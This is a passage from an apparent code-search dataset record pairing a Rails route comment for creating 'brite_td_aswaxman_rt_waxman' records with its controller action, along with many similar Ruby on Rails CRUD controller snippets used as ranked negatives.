LichSuBinhBau.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lich_su_binh_bau }\n end\n end", "def index\n @frais_hebergements = FraisHebergement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_hebergements }\n end\n end", "def show\n @status_del_tramite_de_beca = StatusDelTramiteDeBeca.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_del_tramite_de_beca }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reward_and_level }\n end\n end", "def index\n @breeds = Breed.all\n\n render json: @breeds\n end", "def index\n @bottlings = handle_sorting(:bottling, :sku, :wine, :bottle_size)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bottlings }\n end\n end", "def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end", "def index\n @weapons_types = WeaponsType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weapons_types }\n end\n end", "def show\n\n @moretinymap = Moretinymap.find(params[:id])\n\n @guardmobs = Moretinymob.find_all_by_moretinymap_id_and_is_guard(params[:id], true, :include => :moretinymobinfo)\n @intrudermobs = Moretinymob.find_all_by_moretinymap_id_and_is_guard(params[:id], false, :include => :moretinymobinfo)\n\n @intrudermobtrail = Moretinymobtrail.first(:include => :moretinymob, :conditions => [\"moretinymobs.is_guard = ?\", false])\n\n @mobbattles = Moretinymobbattle.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moretinymap }\n end\n end", "def index\n @waldos = Waldo.all\n end", "def index\n @wks = Wk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wks }\n end\n end", "def show\n @admin_bait = Bait.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_bait }\n end\n end", "def index\n @subcategorias = Subcategoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subcategorias }\n end\n end", "def show\n render \"api/v1/bounties/show\"\n end", "def index\n @title = \"Типы лечения\"\n @treatment_types = TreatmentType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treatment_types }\n end\n end", "def index\n @weapons = Weapon.all\n\n render json: @weapons\n end", "def index\n @bemaps = Bemap.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bemaps }\n end\n end", "def index\n @weapon_types = WeaponType.all\n\n render json: @weapon_types\n end", "def index\n @api_v1_mentorings = Api::V1::Mentoring.all\n end", "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end", "def index\n @categorias = Categoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @categorias }\n end\n end", "def index\n @testmonials = Testmonial.all\n\n render json: @testmonials\n end", "def index\n @department = Department.find(params[:department_id])\n @towns = @department.towns\n respond_to do |format|\n format.json { render json: @towns, status: :ok }\n end\n end", "def show\n @razmer_go = RazmerGo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @razmer_go }\n end\n end", "def index\n @meant_it_rels = MeantItRel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meant_it_rels }\n end\n end", "def dayIndex\n render json: Restaurant.restaurantsDay\n end", "def index\n @wms = WmsResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wms }\n end\n end", "def index\n @wowolinks = Wowolink.all\n respond_to do |format|\n format.json {\n render :json => @wowolinks, :layout => false\n }\n end\n end", "def show\n respond_with @celeb.to_json(:include => :items)\n end", "def show\n @m_beli_nota_second_d = MBeliNotaSecondD.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @m_beli_nota_second_d }\n end\n end", "def index\n @compte_bancaires = CompteBancaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@compte_bancaires }\n end\n end", "def show\n @rechnung = Rechnung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rechnung }\n end\n end", "def index\n @title = \"Районы\"\n @districts = District.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @districts }\n end\n end", "def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end", "def create\n @brite_rt_waxman = BriteRtWaxman.new(brite_rt_waxman_params)\n\n respond_to do |format|\n if @brite_rt_waxman.save\n format.html { redirect_to @brite_rt_waxman, notice: 'Brite rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n travels = Travel.where(:travel_category_id => @travel_category)\n # if weapon = params[:weapon]\n # travels = travels.where(name: weapon)\n # end\n\n respond_to do |format|\n #format.html { render :new }\n format.json { render json: travels, status: 200 }\n format.xml { render xml: travels, status: 200 }\n end\n\n # render json: travels, status: 200\n end", "def index\n @notadedebito = Notadedebito.find(params[:notadecredito_id])\n @renglon_notadebitos = @notadedebito.renglon_notadebitos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_notadebitos }\n end\n end", "def current\n batles = BatlePool.instance.all\n render json: batles,\n except: :location_id,\n include: [:heroes, :threat],\n status: :ok\n end", "def index\n @wrestlers = Wrestler.all\n end", "def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end", "def index\n types = @user.tried_beer_ratings.last.beer_types.map do |type|\n {name: type.name, description: type.beg_description}\n end\n render json: types\n end", "def index\n @breeds = Breed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @breeds }\n end\n end", "def show\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @broad }\n end\n end", "def index\n \n @trends = Trend.order(\"as_of DESC\").limit(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trends }\n end\n\n end" ]
[ "0.7053891", "0.70192426", "0.7003029", "0.60400665", "0.6004092", "0.5990821", "0.5965981", "0.5960337", "0.5955734", "0.5950685", "0.59355325", "0.5913171", "0.59027004", "0.5901739", "0.5880231", "0.58584636", "0.5842854", "0.5840226", "0.583635", "0.5822204", "0.5812125", "0.5809242", "0.5804745", "0.57988995", "0.5785356", "0.5781305", "0.57780844", "0.57723856", "0.5770765", "0.5767143", "0.5767081", "0.5766435", "0.57642853", "0.57605946", "0.57569164", "0.5751717", "0.5747772", "0.5745188", "0.57435805", "0.5742331", "0.5737714", "0.5731582", "0.57308465", "0.57290715", "0.57268", "0.57252157", "0.5708572", "0.57041895", "0.5696689", "0.5696163", "0.5692013", "0.5689303", "0.56891453", "0.5678381", "0.5668566", "0.56615376", "0.5659555", "0.5656442", "0.56546044", "0.5652113", "0.5643216", "0.5640403", "0.5634476", "0.5632397", "0.5632132", "0.5630606", "0.561719", "0.56155634", "0.5612422", "0.5602577", "0.5601098", "0.56003815", "0.56000465", "0.5599351", "0.5596055", "0.55934995", "0.5589873", "0.55892766", "0.55883867", "0.5588301", "0.5586048", "0.5585429", "0.55833703", "0.55827975", "0.5582632", "0.5574281", "0.55730414", "0.55691487", "0.5563868", "0.5560456", "0.5558475", "0.55571264", "0.5554576", "0.5554133", "0.55490476", "0.554479", "0.55428916", "0.5541403", "0.5539576", "0.553856", "0.55377686" ]
0.0
-1
POST /brite_td_aswaxman_rt_waxmen POST /brite_td_aswaxman_rt_waxmen.json
def create @brite_td_aswaxman_rt_waxman = BriteTdAswaxmanRtWaxman.new(brite_td_aswaxman_rt_waxman_params) respond_to do |format| if @brite_td_aswaxman_rt_waxman.save format.html { redirect_to @brite_td_aswaxman_rt_waxman, notice: 'Brite td aswaxman rt waxman was successfully created.' } format.json { render :show, status: :created, location: @brite_td_aswaxman_rt_waxman } else format.html { render :new } format.json { render json: @brite_td_aswaxman_rt_waxman.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @brite_td_asbarabasi_rt_waxman = BriteTdAsbarabasiRtWaxman.new(brite_td_asbarabasi_rt_waxman_params)\n\n respond_to do |format|\n if @brite_td_asbarabasi_rt_waxman.save\n format.html { redirect_to @brite_td_asbarabasi_rt_waxman, notice: 'Brite td asbarabasi rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_td_asbarabasi_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_td_asbarabasi_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @brite_rt_waxman = BriteRtWaxman.new(brite_rt_waxman_params)\n\n respond_to do |format|\n if @brite_rt_waxman.save\n format.html { redirect_to @brite_rt_waxman, notice: 'Brite rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def brite_td_asbarabasi_rt_waxman_params\n params.require(:brite_td_asbarabasi_rt_waxman).permit(:name, :edgeconn, :k, :bwinter, :bwintermin, :bwintermax, :bwintra, :bwintramin, :bwintramax, :name, :description, :status, :generator_id, :type_id, :user_id)\n end", "def brite_td_aswaxman_rt_waxman_params\n params.require(:brite_td_aswaxman_rt_waxman).permit(:name, :edgeconn, :k, :bwinter, :bwintermin, :bwintermax, :bwintra, :bwintramin, :bwintramax, :name, :n, :hs, :ls, :nodeplacement, :growthtype, :m, :alpha, :beta, :bwdist, :bwmin, :bwmax, :name_rtwaxman, :n_waxman, :hs_waxman, :ls_waxman, :nodeplacement, :growthtype_waxman, :m_waxman, :alpha_waxman, :beta_waxman, :bwdist_waxman, :bwmin_waxman, :bwmax_waxman)\n end", "def brite_rt_waxman_params\n params.require(:brite_rt_waxman).permit(:name, :n, :hs, :ls, :nodeplacement, :growth_type, :alpha, :beta, :m, :bwdist, :bwmin, :bwmax, :name, :description, :status, :generator_id, :type_id, :user_id)\n end", "def set_brite_td_aswaxman_rt_waxman\n @brite_td_aswaxman_rt_waxman = BriteTdAswaxmanRtWaxman.find(params[:id])\n end", "def index\n @brite_td_aswaxman_rt_waxmen = BriteTdAswaxmanRtWaxman.all\n end", "def set_brite_td_asbarabasi_rt_waxman\n @brite_td_asbarabasi_rt_waxman = BriteTdAsbarabasiRtWaxman.find(params[:id])\n end", "def index\n @brite_td_asbarabasi_rt_waxmen = BriteTdAsbarabasiRtWaxman.all\n end", "def index\n @brite_rt_waxmen = BriteRtWaxman.all\n end", "def update\n respond_to do |format|\n if @brite_td_aswaxman_rt_waxman.update(brite_td_aswaxman_rt_waxman_params)\n format.html { redirect_to @brite_td_aswaxman_rt_waxman, notice: 'Brite td aswaxman rt waxman was successfully updated.' }\n format.json { render :show, status: :ok, location: @brite_td_aswaxman_rt_waxman }\n else\n format.html { render :edit }\n format.json { render json: @brite_td_aswaxman_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_brite_rt_waxman\n @brite_rt_waxman = BriteRtWaxman.find(params[:id])\n end", "def update\n respond_to do |format|\n if @brite_rt_waxman.update(brite_rt_waxman_params)\n format.html { redirect_to @brite_rt_waxman, notice: 'Brite rt waxman was successfully updated.' }\n format.json { render :show, status: :ok, location: @brite_rt_waxman }\n else\n format.html { render :edit }\n format.json { render json: @brite_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @brite_td_asbarabasi_rt_waxman.update(brite_td_asbarabasi_rt_waxman_params)\n format.html { redirect_to @brite_td_asbarabasi_rt_waxman, notice: 'Brite td asbarabasi rt waxman was successfully updated.' }\n format.json { render :show, status: :ok, location: @brite_td_asbarabasi_rt_waxman }\n else\n format.html { render :edit }\n format.json { render json: @brite_td_asbarabasi_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wombat = Wombat.new(wombat_params)\n\n respond_to do |format|\n if @wombat.save\n format.html { redirect_to @wombat, notice: 'Wombat was successfully created.' }\n format.json { render :show, status: :created, location: @wombat }\n else\n format.html { render :new }\n format.json { render json: @wombat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @thema = Thema.new(params[:thema])\n \n @themen = @thema.themengruppe.themen.order(:priority).reverse\n respond_to do |format|\n if @thema.save\n format.html { redirect_to @thema, notice: 'Thema was successfully created.' }\n format.json { render json: @thema, status: :created, location: @thema }\n format.js {render action: \"update\"}\n else\n format.html { render action: \"new\" }\n format.json { render json: @thema.errors, status: :unprocessable_entity }\n format.js { render action: \"edit\" }\n end\n end\n end", "def destroy\n @brite_td_aswaxman_rt_waxman.destroy\n respond_to do |format|\n format.html { redirect_to brite_td_aswaxman_rt_waxmen_url, notice: 'Brite td aswaxman rt waxman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @wod = Wod.new(wod_params)\n\n if @wod.save\n render json: @wod, status: :created\n else\n render json: @wod.errors, status: :unprocessable_entity\n end\n end", "def create\n @wbr_datum = WbrDatum.new(params[:wbr_datum])\n\n respond_to do |format|\n if @wbr_datum.save\n format.html { redirect_to wbr_data_path, notice: 'Wbr datum was successfully created.' }\n format.json { render json: @wbr_datum, status: :created, location: @wbr_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wbr_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def wizytum_params\n params.require(:wizytum).permit(:ID_wizyty, :ID_lekarza, :ID_pacjenta, :ID_recepcjonisty, :termin)\n end", "def create\n @wizytum = Wizytum.new(wizytum_params)\n\n respond_to do |format|\n if @wizytum.save\n format.html { redirect_to @wizytum, notice: 'Wizytum was successfully created.' }\n format.json { render :show, status: :created, location: @wizytum }\n else\n format.html { render :new }\n format.json { render json: @wizytum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wager = Wager.new(params[:wager])\n\n if @wager.save\n render json: @wager, status: :created, location: @wager\n else\n render json: @wager.errors, status: :unprocessable_entity\n end\n end", "def create\n # {\"id\":\"\",\"status_id\":\"1\",\"name\":\"aaaaa\",\"created_at\":\"\",\"updated_at\":\"\",\"tel_1\":\"34344545\",\"tel_2\":\"56676778\",\n # \"dop\":\"ddd\",\"info_type_id\":\"1\",\"info_source_id\":\"1\",\"contact_id\":\"0\",\"published\":\"1\",\n # \"haves\":[{\"obj_id\":\"2\",\"room\":\"1\",\"price_estimate\":\"\",\"price_want\":\"\",\n # \"torg\":0,\"floor\":\"2\",\"floor_house\":\"9\",\"rayon_id\":\"0\",\n # \"street_id\":\"\",\"house_n\":\"\",\"flat_n\":\"\",\"orientir\":\"\",\n # \"s_all\":\"\",\"s_live\":\"\",\"s_kux\":\"\",\"state_id\":\"0\",\n # \"year\":\"\",\"tel_1\":\"\",\"dop\":\"\",\"obmen_want\":1,\"sell_want\":0,\"rent_want\":0},\n # {\"obj_id\":\"2\",\"room\":\"1\",\"price_estimate\":\"\",\"price_want\":\"\",\"torg\":0,\n # \"floor\":\"1\",\"floor_house\":\"5\",\"rayon_id\":\"0\",\"street_id\":\"\",\"house_n\":\"\",\n # \"flat_n\":\"\",\"orientir\":\"\",\"s_all\":\"\",\"s_live\":\"\",\"s_kux\":\"\",\"state_id\":\"0\",\n # \"year\":\"\",\"tel_1\":\"\",\"dop\":\"\",\"obmen_want\":1,\"sell_want\":0,\"rent_want\":0}\n # ],\n # \"wants\":[{\"variant\":\"1\",\n # \"wishlist\":[\n # {\"field\":\"obj_id\",\"cond\":\"=\",\"value\":\"2\"},\n # {\"field\":\"room\",\"cond\":\"=\",\"value\":\"3\"}\n # ]\n # },\n # {\"variant\":\"1\",\n # \"wishlist\":[\n # {\"field\":\"obj_id\",\"cond\":\"=\",\"value\":\"2\"},\n # {\"field\":\"room\",\"cond\":\"=\",\"value\":\"1\"}\n # ]\n # }\n # ]\n # }\n\n @zayavka_params=params[\"zayavka\"]\n @haves=params[\"haves\"]\n @wants=params[\"wants\"]\n #render :text => \"out=\"[email protected]\n #return\n\n @zayavka = Zayavka.new(@zayavka_params)\n\n top_variant_id=0\n respond_to do |format|\n if @zayavka.save\n #---save have--------------\n if not @haves.empty?\n @haves.each_with_index do |item,index|\n ##item['id'] = 0\n item['room'] = item['room'] ==\"\"?0:item['room'] #---check room input\n item['tel_1'] = item['tel_1'].to_s+((@zayavka['tel_1'].blank?)?\"\":@zayavka['tel_1'].to_s)+((@zayavka['tel_2'].blank?)?\"\":@zayavka['tel_2'].to_s)\n item['zayavka_id'] = @zayavka.id\n item['top_variant_id']= top_variant_id\n item['variant'] = index+1\n item['variant_cnt'] = @haves.length\n @have_rec = Have.new (item)\n\n if @have_rec.save\n #render :text => \"have_rec out=\"+@have_rec.inspect\n #return\n top_variant_id=@have_rec.id if index==0\n if not @have_rec.update_attributes(:top_variant_id=>top_variant_id)\n format.json { render json: @have_rec.errors, status: :unprocessable_entity }\n end\n else\n format.json { render json: @have_rec.errors, status: :unprocessable_entity }\n end\n\n end\n end\n #---save want-----------------\n if @wants.empty?\n return\n end\n @wants.each_with_index do |item,index|\n #--get wants_params from POST\n ##render :text => \"want variant=\"+variant+\" wishlist= \"+item['wishlist']\n ##return\n want_obj_id,want_room ,want_rayon_id, want_price_want=0,0,0,0\n item['wishlist'].each_with_index do |wish_list_item,wi|\n want_obj_id = wish_list_item['value'] if wish_list_item['field']==\"obj_id\"\n want_room = wish_list_item['value'] if wish_list_item['field']==\"room\"\n want_rayon_id = wish_list_item['value'] if wish_list_item['field']==\"rayon_id\"\n want_price_want = wish_list_item['value'] if wish_list_item['field']==\"price_want\"\n\n end\n @want_rec=Want.new({:zayavka_id=>@zayavka.id,\n :obj_id=>want_obj_id,\n :room=>want_room,\n :rayon_id=>want_rayon_id,\n :price_want=>want_price_want,\n :tel_1=>@zayavka[\"tel_1\"],\n :tel_2=>@zayavka[\"tel_2\"]})\n if @want_rec.save\n #----wishlist uppend---\n variant=item['variant']\n w_list=item['wishlist']\n w_list.each do |row|\n @wish_list_rec=WishList.new({:want_id=>@want_rec.id,:field_name=>row['field'],:field_cond=>row['cond'],:field_value=>row['value'],:variant=>variant})\n if not @wish_list_rec.save\n format.json { render json: @wish_list_rec.errors, status: :unprocessable_entity }\n end\n end\n\n else\n format.json { render json: @want_rec.errors, status: :unprocessable_entity }\n end\n\n end\n # format.html { redirect_to @zayavka, notice: 'Zayavka was successfully created.' }\n format.json { render json: @zayavka, status: :created, location: @zayavka }\n else\n # format.html { render action: \"new\" }\n format.json { render json: @zayavka.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trinh_do_can_bo = TrinhDoCanBo.new(trinh_do_can_bo_params)\n\n respond_to do |format|\n if @trinh_do_can_bo.save\n format.html { redirect_to @trinh_do_can_bo, notice: 'Trinh do can bo was successfully created.' }\n format.json { render :show, status: :created, location: @trinh_do_can_bo }\n else\n format.html { render :new }\n format.json { render json: @trinh_do_can_bo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @status_del_tramite_de_beca = StatusDelTramiteDeBeca.new(params[:status_del_tramite_de_beca])\n\n respond_to do |format|\n if @status_del_tramite_de_beca.save\n format.html { redirect_to @status_del_tramite_de_beca, notice: 'Status del tramite de beca was successfully created.' }\n format.json { render json: @status_del_tramite_de_beca, status: :created, location: @status_del_tramite_de_beca }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status_del_tramite_de_beca.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n \n respond_to do |format| \n @buchung = Buchung.new(params[:buchung]) \n if @buchung.save \n if @buchung.status==\"B\"\n format.html { redirect_to @buchung, notice: 'Buchung war erfolgreich.' }\n else\n format.html { redirect_to @buchung, notice: 'Reservierung war erfolgreich.' }\n end\n format.json { render json: @buchung, status: :created, location: @buchung }\n else \n format.html { render action: \"new\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end \n end \n end", "def create\n @waldo = Waldo.new(waldo_params)\n\n respond_to do |format|\n if @waldo.save\n format.html { redirect_to @waldo, notice: 'Waldo was successfully created.' }\n format.json { render :show, status: :created, location: @waldo }\n else\n format.html { render :new }\n format.json { render json: @waldo.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @brite_td_asbarabasi_rt_waxman.destroy\n respond_to do |format|\n format.html { redirect_to brite_td_asbarabasi_rt_waxmen_url, notice: 'Brite td asbarabasi rt waxman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @brend = Brend.new(params[:brend])\n\n respond_to do |format|\n if @brend.save\n format.html { redirect_to @brend, notice: 'Brend was successfully created.' }\n format.json { render json: @brend, status: :created, location: @brend }\n else\n format.html { render action: \"new\" }\n format.json { render json: @brend.errors, status: :unprocessable_entity }\n end\n end\n end", "def accept\n\t\t# byebug\n\t\t#Khi chap nhan 1 yeu cau thi:\n\t\t#B1: Gan role bussiness cho nguoi do\n\t\t#B2: Tao Bussiness cho nguoi do\n\t\t#B3: Tao ra chi nhanh dau tien cho nguoi do\n\t\tuser = @bussiness_request.user\n\t\tif user.is_bussiness_admin?\n\t\t\t#Neu da la bussiness_admin thi ko the nang cap, do do bo qua request do\n\t\t\t#bang cach gan no bang da duyet\n\t\t\t@bussiness_request.status_id = BussinessRequestStatus.da_duyet_status.id\n\t\t\t@bussiness_request.timeless.save\n\t\t\trender json: {message: 'Đã là tài khoản doanh nghiệp'}, status: :ok, content_type: 'application/json'\n\t\telse\n\n\t\t\t#B2: Tao Bussiness cho nguoi do\n\t\t\tbussiness = Bussiness.new\n\t\t\tbussiness.name = @bussiness_request.name\n\t\t\tbussiness.category = @bussiness_request.category\n\t\t\tbussiness.user_id = user.id\n\n\t\t\tif bussiness.save\n\t\t\t\tuser.roles ||=[]\n\t\t\t\tuser.roles << Role.bussiness_admin_role\n\t\t\t\t#B3: Tao ra chi nhanh dau tien cho nguoi do\n\t\t\t\tbranch = Branch.new\n\t\t\t\tbranch.name = @bussiness_request.name\n\t\t\t\tbranch.address = @bussiness_request.address\n\t\t\t\tbranch.phone = @bussiness_request.phone\n\t\t\t\tbranch.coordinates = [@bussiness_request.longitude, @bussiness_request.latitude]\n\t\t\t\tbranch.bussiness_id = bussiness.id\n\t\t\t\t#tao url_alias tam\n\t\t\t\tbranch.url_alias = RemoveAccent.remove_accent(@bussiness_request.name).gsub(/ /,\"\")\n\t\t\t\tbranch.begin_work_time = \"7:00\"\n\t\t\t\tbranch.end_work_time = \"24:00\"\n\n\t\t\t\tif branch.save\n\n\t\t\t\t\t@bussiness_request.status_id = BussinessRequestStatus.da_duyet_status.id\n\t\t\t\t\t@bussiness_request.timeless.save\n\t\t\t\t\t#Tao ra thong bao\n\t\t\t\t\t#Neu da lo deny va nguoi do chua xem thong bao deny thi xoa no\n\t\t\t\t\tNotificationChange.delete_notification_change user, @bussiness_request, current_user, @bussiness_request, NotificationCategory.tu_choi_cap_tai_khoan_doanh_nghiep\n\t\t\t\t\tNotificationChange.create_notification user, @bussiness_request, current_user, @bussiness_request, NotificationCategory.chap_nhan_yeu_cau_doanh_nghiep\n\t\t\t\t\t#Kich hoat thanh cong\n\t\t\t\t\trender json: {message: 'Kích hoạt thành công tài khoản doanh nghiệp'}, status: :created, content_type: 'application/json'\n\t\t\t\telse\n\t\t\t\t\trender json: {\n\t\t\t\t\t\tmessage: 'Lỗi xảy ra khi tạo branch',\n\t\t\t\t\t\terrors: branch.errors\n\t\t\t\t\t\t}, status: :bad_request\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\trender json: {\n\t\t\t\t\t\tmessage: 'Lỗi xảy ra khi tạo bussiness',\n\t\t\t\t\t\terrors: bussiness.errors\n\t\t\t\t\t\t}, status: :bad_request\n\t\t\t\t\tend\n\n\t\t\t\tend\n\t\t\tend", "def create\n @trank = Trank.new(trank_params)\n\n respond_to do |format|\n if @trank.save\n %x( sudo service Autodial restart )\n format.html { redirect_to @trank, notice: 'Рабочий канал успешно создан.' }\n format.json { render :show, status: :created, location: @trank }\n else\n format.html { render :new }\n format.json { render json: @trank.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nhaxuatban = Nhaxuatban.new(nhaxuatban_params)\n\n respond_to do |format|\n if @nhaxuatban.save\n format.html { redirect_to @nhaxuatban, notice: \"Nhaxuatban was successfully created.\" }\n format.json { render :show, status: :created, location: @nhaxuatban }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @nhaxuatban.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @word_praat = WordPraat.new(word_praat_params[:word_praat])\n\n respond_to do |format|\n if @word_praat.save\n format.html { redirect_to @word_praat, notice: 'Word praat was successfully created.' }\n format.json { render action: 'show', status: :created, location: @word_praat }\n else\n format.html { render action: 'new' }\n format.json { render json: @word_praat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @anschreiben = Anschreiben.new(anschreiben_params)\n\n respond_to do |format|\n if @anschreiben.save\n format.html { redirect_to @anschreiben, notice: \"Anschreiben was successfully created.\" }\n format.json { render :show, status: :created, location: @anschreiben }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @anschreiben.errors, status: :unprocessable_entity }\n end\n end\n end", "def moip_post\n @nasp_rail = NaspRail.new(params[:nasp_rail])\n\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n end", "def buchung_params\n params.require(:buchung).permit(:status, :start, :ende, :typ)\n end", "def create\n tp = tumor_params\n tp[:tipo_tumor], ad, p = tipo(tp)\n if p == nil\n p=0\n end\n @tumor = Tumor.new(tp)\n respond_to do |format|\n if @tumor.save\n format.html { redirect_to @tumor, notice: 'Se registro con exito con tipo de tumor => '+tp[:tipo_tumor].capitalize+\n '.<>Arbol de decision:<>'+\n ad+'<>Con un grado de acierto de: '+\n p.to_s+\n ' y un porcentaje de acierto de 83.19%' }\n format.json { render :show, status: :created, location: @tumor }\n else\n format.html { render :new }\n format.json { render json: @tumor.errors, status: :unprocessable_entity }\n end\n end\n end", "def wzx_params\n params.require(:wzx).permit(:name, :information, :food, :tuijian)\n end", "def create\n @powiadomienie = Powiadomienie.new(params[:powiadomienie])\n\n respond_to do |format|\n if @powiadomienie.save\n format.html { redirect_to @powiadomienie, notice: 'Powiadomienie was successfully created.' }\n format.json { render json: @powiadomienie, status: :created, location: @powiadomienie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @powiadomienie.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @brite_rt_waxman.destroy\n respond_to do |format|\n format.html { redirect_to brite_rt_waxmen_url, notice: 'Brite rt waxman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @bay =Bay.new(bay_params)\n\n respond_to do |format|\n if @bay.save\n format.html { redirect_to ['control',@bay], notice: 'La bahía fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @bay }\n else\n format.html { render :new }\n format.json { render json: @bay.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @mwod_post = MwodPost.new(params[:mwod_post])\n\n respond_to do |format|\n if @mwod_post.save\n format.html { redirect_to @mwod_post, notice: 'Mwod post was successfully created.' }\n format.json { render json: @mwod_post, status: :created, location: @mwod_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mwod_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def data_add_wagons\n @trains[0].add_wagon(PassengerWagon.new(35.to_i))\n @trains[1].add_wagon(PassengerWagon.new(32.to_i))\n @trains[2].add_wagon(CargoWagon.new(428.to_i))\n end", "def create\n @daw_trabajo = DawTrabajo.new(daw_trabajo_params)\n\n respond_to do |format|\n if @daw_trabajo.save\n format.html { redirect_to @daw_trabajo, notice: 'Daw trabajo was successfully created.' }\n format.json { render :show, status: :created, location: @daw_trabajo }\n else\n format.html { render :new }\n format.json { render json: @daw_trabajo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bilhete = Bilhete.new(params[:bilhete])\n\n respond_to do |format|\n if @bilhete.save\n format.html { redirect_to @bilhete, notice: 'Bilhete was successfully created.' }\n format.json { render json: @bilhete, status: :created, location: @bilhete }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bilhete.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @etablissement = Etablissement.find(params[:etablissement_id]) \n @mission = @etablissement.missions.new(mission_params)\n\n @mission.benevole = current_benevole\n #@etablissement = Etablissement.find(params[:id])\n\n respond_to do |format|\n @mission.save\n if @mission.save\n MissionMailer.new_mission_b(Mission.last).deliver_now\n MissionMailer.new_mission_e(Mission.last).deliver_now\n format.html { redirect_to @etablissement, notice: 'La Proposition a bien été crée.' }\n format.json { render :show, status: :created, location: @mission }\n else\n format.html { render :new }\n format.json { render json: @mission.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # raise = true //เผื่ออยากเอาไว้ลองใช้\n @betum = Betum.new(betum_params)\n\n respond_to do |format|\n if @betum.save\n format.html { redirect_to @betum, notice: 'Betum was successfully created.' }\n format.json { render :show, status: :created, location: @betum }\n else\n format.html { render :new }\n format.json { render json: @betum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @boat_series = BoatSeries.new(boat_series_params)\n #@title = @header = \"Новая торговая марка\"\n respond_to do |format|\n if @boat_series.save\n #format.html { redirect_to @boat_series, notice: 'Торговая марка успешно добавлена' }\n format.json { render json: @boat_series}\n else\n #format.html { render :new }\n format.json { render json: @boat_series.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @lehrerbewertung = Lehrerbewertung.new(lehrerbewertung_params)\n\n respond_to do 